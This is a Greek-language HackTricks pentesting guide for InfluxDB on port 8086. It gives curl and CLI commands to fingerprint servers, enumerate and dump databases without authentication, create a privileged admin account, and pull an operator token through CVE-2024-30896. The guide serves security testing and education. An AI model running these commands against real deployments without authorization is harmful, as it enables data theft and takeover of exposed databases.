8086 - Pentesting InfluxDB

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

InfluxDB είναι μια ανοιχτού κώδικα βάση δεδομένων χρονοσειρών (TSDB) που αναπτύχθηκε από InfluxData. Οι TSDB έχουν βελτιστοποιηθεί για την αποθήκευση και παροχή δεδομένων χρονοσειρών, τα οποία αποτελούνται από ζεύγη χρονοσφραγίδας-τιμής. Σε σύγκριση με γενικής χρήσης βάσεις δεδομένων, οι TSDB προσφέρουν σημαντικές βελτιώσεις στον χώρο αποθήκευσης και στην απόδοση για σύνολα δεδομένων χρονοσειρών. Χρησιμοποιούν εξειδικευμένους αλγόριθμους συμπίεσης και μπορούν να ρυθμιστούν ώστε να αφαιρούν αυτόματα παλιά δεδομένα. Εξειδικευμένοι δείκτες βάσης δεδομένων βελτιώνουν επίσης την απόδοση των ερωτημάτων.

Προεπιλεγμένη θύρα: 8086

PORT     STATE SERVICE VERSION
8086/tcp open  http    InfluxDB http admin 1.7.5

Αναγνώριση & Έκδοση (HTTP)

  • v1.x: GET /ping επιστρέφει κωδικό κατάστασης 204 και κεφαλίδες όπως X-Influxdb-Version και X-Influxdb-Build.
  • v2.x+: GET /health επιστρέφει JSON με την έκδοση του διακομιστή και την κατάσταση. Λειτουργεί χωρίς auth.
# v1 banner grab
curl -i http://<host>:8086/ping

# v2/compat health
curl -s http://<host>:8086/health | jq .

Tip: εκτεθειμένα instances συχνά επίσης εξυπηρετούν metrics τύπου Prometheus στο /metrics.

Καταγραφή

Από τη σκοπιά ενός pentester, πρόκειται για άλλη μια βάση δεδομένων που μπορεί να περιέχει ευαίσθητες πληροφορίες, οπότε είναι χρήσιμο να ξέρεις πώς να κάνεις dump όλα τα δεδομένα.

Πιστοποίηση

Το InfluxDB μπορεί να απαιτεί πιστοποίηση ή όχι

# Try unauthenticated CLI (v1 shell)
influx -host <host> -port 8086
> use _internal

Αν λάβετε ένα σφάλμα όπως αυτό: ERR: unable to parse authentication credentials σημαίνει ότι αναμένει κάποια διαπιστευτήρια

influx –username influx –password influx_pass

Υπήρχε μια ευπάθεια στο influxdb που επέτρεπε την παράκαμψη του ελέγχου ταυτότητας: CVE-2019-20933

Χειροκίνητη απογραφή (v1 HTTP API / InfluxQL)

Ακόμα κι όταν δεν υπάρχει διαθέσιμο CLI, το HTTP API είναι συνήθως εκτεθειμένο στη θύρα 8086.

# List databases (unauth)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW DATABASES"

# List retention policies of a DB
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW RETENTION POLICIES ON telegraf"

# List users (if auth disabled)
curl -sG "http://<host>:8086/query" --data-urlencode "q=SHOW USERS"

# List measurements (tables)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW MEASUREMENTS"

# List field keys (columns)
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"

# Dump data from a measurement
curl -sG "http://<host>:8086/query" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5' | jq .

# Force epoch timestamps (useful for tooling)
curl -sG "http://<host>:8086/query" \
--data-urlencode "epoch=ns" \
--data-urlencode "db=telegraf" \
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'

Warning

Κατά ορισμένες δοκιμές με το authentication bypass παρατηρήθηκε ότι το όνομα του πίνακα χρειάζεται να βρίσκεται μέσα σε διπλά εισαγωγικά όπως: select * from "cpu"

Αν το authentication είναι απενεργοποιημένο, μπορείς ακόμα να δημιουργήσεις χρήστες και να αναβαθμίσεις δικαιώματα:

# Create an admin user (v1, auth disabled)
curl -sG "http://<host>:8086/query" \
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"

Οι πληροφορίες του παρακάτω παραδείγματος CLI προέρχονται από here.

Εμφάνιση βάσεων δεδομένων

Οι εντοπισμένες βάσεις δεδομένων είναι telegraf και internal (αυτή θα τη βρείτε παντού)

> show databases
name: databases
name
----
telegraf
_internal

Εμφάνιση πινάκων/μετρήσεων

Η InfluxDB documentation εξηγεί ότι οι μετρήσεις στο InfluxDB μπορούν να παραλληλιστούν με πίνακες SQL. Η ονοματολογία αυτών των μετρήσεων υποδεικνύει το αντίστοιχο περιεχόμενό τους, η καθεμία φιλοξενεί δεδομένα σχετικά με μια συγκεκριμένη οντότητα.

> show measurements
name: measurements
name
----
cpu
disk
diskio
kernel
mem
processes
swap
system

Εμφάνιση στηλών/κλειδιών πεδίων

Τα κλειδιά πεδίων είναι σαν τις στήλες της βάσης δεδομένων

> show field keys
name: cpu
fieldKey         fieldType
--------         ---------
usage_guest      float
usage_guest_nice float
usage_idle       float
usage_iowait     float

name: disk
fieldKey     fieldType
--------     ---------
free         integer
inodes_free  integer
inodes_total integer
inodes_used  integer

[ ... more keys ...]

Dump Table

Και τέλος, μπορείτε να dump the table κάπως έτσι

select * from cpu
name: cpu
time                cpu       host   usage_guest usage_guest_nice usage_idle        usage_iowait        usage_irq usage_nice usage_softirq        usage_steal usage_system        usage_user
----                ---       ----   ----------- ---------------- ----------        ------------        --------- ---------- -------------        ----------- ------------        ----------
1497018760000000000 cpu-total ubuntu 0           0                99.297893681046   0                   0         0          0                    0           0.35105315947842414 0.35105315947842414
1497018760000000000 cpu1      ubuntu 0           0                99.69909729188728 0                   0         0          0                    0           0.20060180541622202 0.10030090270811101

InfluxDB v2.x API (Token-based)

InfluxDB 2.x εισάγει token-based auth και ένα νέο API (still on 8086 by default). Αν αποκτήσετε ένα token (leaked logs, default deployments, backups) μπορείτε να απαριθμήσετε:

# Basic org, bucket, and auth discovery
TOKEN="<token>"; H="-H Authorization: Token $TOKEN"

# Health & version
curl -s http://<host>:8086/health | jq .

# List organizations
curl -s $H http://<host>:8086/api/v2/organizations | jq .

# List buckets
curl -s $H 'http://<host>:8086/api/v2/buckets?limit=100' | jq .

# List authorizations (requires perms)
ORGID=<org_id>
curl -s $H "http://<host>:8086/api/v2/authorizations?orgID=$ORGID" | jq .

# Query data with Flux
curl -s $H -H 'Accept: application/csv' -H 'Content-Type: application/vnd.flux' \
-X POST http://<host>:8086/api/v2/query \
--data 'from(bucket:"telegraf") |> range(start:-1h) |> limit(n:5)'

Σημειώσεις

  • Για v1.8+, υπάρχουν μερικά v2-compatible endpoints (/api/v2/query, /api/v2/write, /health). Αυτό είναι χρήσιμο αν ο server είναι v1 αλλά δέχεται v2-style requests.
  • Σε v2, το HTTP Authorization header πρέπει να είναι της μορφής Token <value>.

Αυτοματοποιημένη Καταγραφή

msf6 > use auxiliary/scanner/http/influxdb_enum

Πρόσφατα vulns και privesc που έχουν ενδιαφέρον (τελευταία χρόνια)

  • InfluxDB OSS 2.x έως 2.7.11 — έκθεση operator token (CVE-2024-30896). Υπό συγκεκριμένες συνθήκες, ένας αυθεντικοποιημένος χρήστης με δικαίωμα ανάγνωσης στον authorization resource στην προεπιλεγμένη οργάνωση μπορούσε να απαριθμήσει και να ανακτήσει το instance-wide operator token (π.χ. μέσω influx auth ls ή GET /api/v2/authorizations). Με αυτό το token, ο επιτιθέμενος μπορεί να διαχειριστεί το instance (buckets, tokens, users) και να έχει πρόσβαση σε όλα τα δεδομένα σε όλες τις orgs. Αναβαθμίστε σε fixed build όταν είναι διαθέσιμο και αποφύγετε την τοποθέτηση κανονικών χρηστών στην προεπιλεγμένη org. Γρήγορος έλεγχος:
# Using a low-priv/all-access token tied to the default org
curl -s -H 'Authorization: Token <user_or_allAccess_token>' \
'http://<host>:8086/api/v2/authorizations?orgID=<default_org_id>' | jq .
# Look for entries of type "operator" and extract the raw token (if present)
  • Πολλές παλαιότερες εγκαταστάσεις 1.x εξακολουθούν να εκθέτουν τα /query και /write χωρίς έλεγχο ταυτότητας στο Internet. Αν ο έλεγχος ταυτότητας είναι απενεργοποιημένος, μπορείτε να εξάγετε ή ακόμα και να τροποποιήσετε χρονοσειρές κατά βούληση· μπορείτε επίσης να δημιουργήσετε χρήστες διαχειριστή όπως φαίνεται παραπάνω. Επαληθεύστε πάντα μέσω του HTTP API ακόμη και αν το CLI σας μπλοκάρει.

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks